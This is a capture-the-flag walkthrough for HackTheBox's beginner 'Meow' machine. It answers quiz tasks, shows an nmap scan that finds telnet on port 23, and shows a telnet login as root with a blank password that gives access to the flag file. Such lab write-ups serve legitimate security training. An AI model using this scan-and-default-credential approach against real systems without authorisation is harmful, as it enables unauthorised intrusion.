CHALLENGE INFORMATION
 | Platform: HackTheBox Collection: Starting Point Tier: 0 Machine: Meow Released: 30/09/2021 |
MACHINE SYNOPSIS
Meow is a very easy Linux machine which guides players on setting up their attacking machines, connecting to HTB labs via VPN and demonstrates the strategy of how to complete them. The machine focuses on beginner enumeration techniques and showcases the exploitation of a vulnerable Telnet service through default credentials.
Preparations
Several methods exist for connecting to the target machine. Throughout this walkthrough, we use the provided pwnbox. Once we establish our connection, we spawn the target machine.
Task-1
Question: What does the acronym VM stand for?
virtual machine
A simple Internet search suffices for this task.
Task-2
Question: What tool do we use to interact with the operating system in order to issue commands via the command line, such as the one to start our VPN connection? It’s also known as a console or shell.
terminal
As before, an Internet search yields the answer.
Task-3
Question: What service do we use to form our VPN connection into HTB labs?
openvpn
The HTB website provides multiple documents describing the various methods for connecting to the target machine.
Task-4
Question: What is the abbreviated name for a tunnel interface in the output of your VPN boot-up sequence output?
tun
One way to determine this is to list all network interfaces using the ifconfig command.
Task-5
Question: What tool do we use to test our connection to the target with an ICMP echo request?
ping
A quick Internet search reveals the answer.
Task-6
Question: What is the name of the most common tool for finding open ports on a target?
nmap
As with the previous task, an Internet search provides the solution.
Task-7
Question: What service do we identify on port 23/tcp during our scans?
telnet
We use nmap to scan the top 1000 ports on the target machine:
user@kali:~$ nmap 10.129.30.251
...
PORT STATE SERVICE
23/tcp open telnet
...
user@kali:~$Only one port appears open: port 23.
Task-8
Question: What username is able to log into the target over telnet with a blank password?
root
We use the telnet command to connect to the service. Once connected, we test common username–password pairs. The first combination we try – user:password – fails. However, when we attempt root:root, we are not required to provide a password (blank password).
user@kali:~$ telnet 10.129.30.251 23
Trying 10.129.30.251...
Connected to 10.129.30.251.
Escape character is '^]'.
█ █ ▐▌ ▄█▄ █ ▄▄▄▄
█▄▄█ ▀▀█ █▀▀ ▐▌▄▀ █ █▀█ █▀█ █▌▄█ ▄▀▀▄ ▀▄▀
█ █ █▄█ █▄▄ ▐█▀▄ █ █ █ █▄▄ █▌▄█ ▀▄▄▀ █▀█
Meow login: user
Password:
Login incorrect
Meow login: root
Welcome to Ubuntu ...
...
root@Meow:~#Submit The Flag
Question: Submit root flag
<redacted-flag>
Once we log in via Telnet, we find ourselves with root privileges in the /root directory. Listing the files reveals the flag:
root@Meow:~# ll
total 36
...
-rw-r--r-- 1 root root 33 ... flag.txt
...
root@Meow:~# cat flag.txt
<redacted-flag>
root@Meow:~#Make sure to terminate the target box before you continue with the next machine!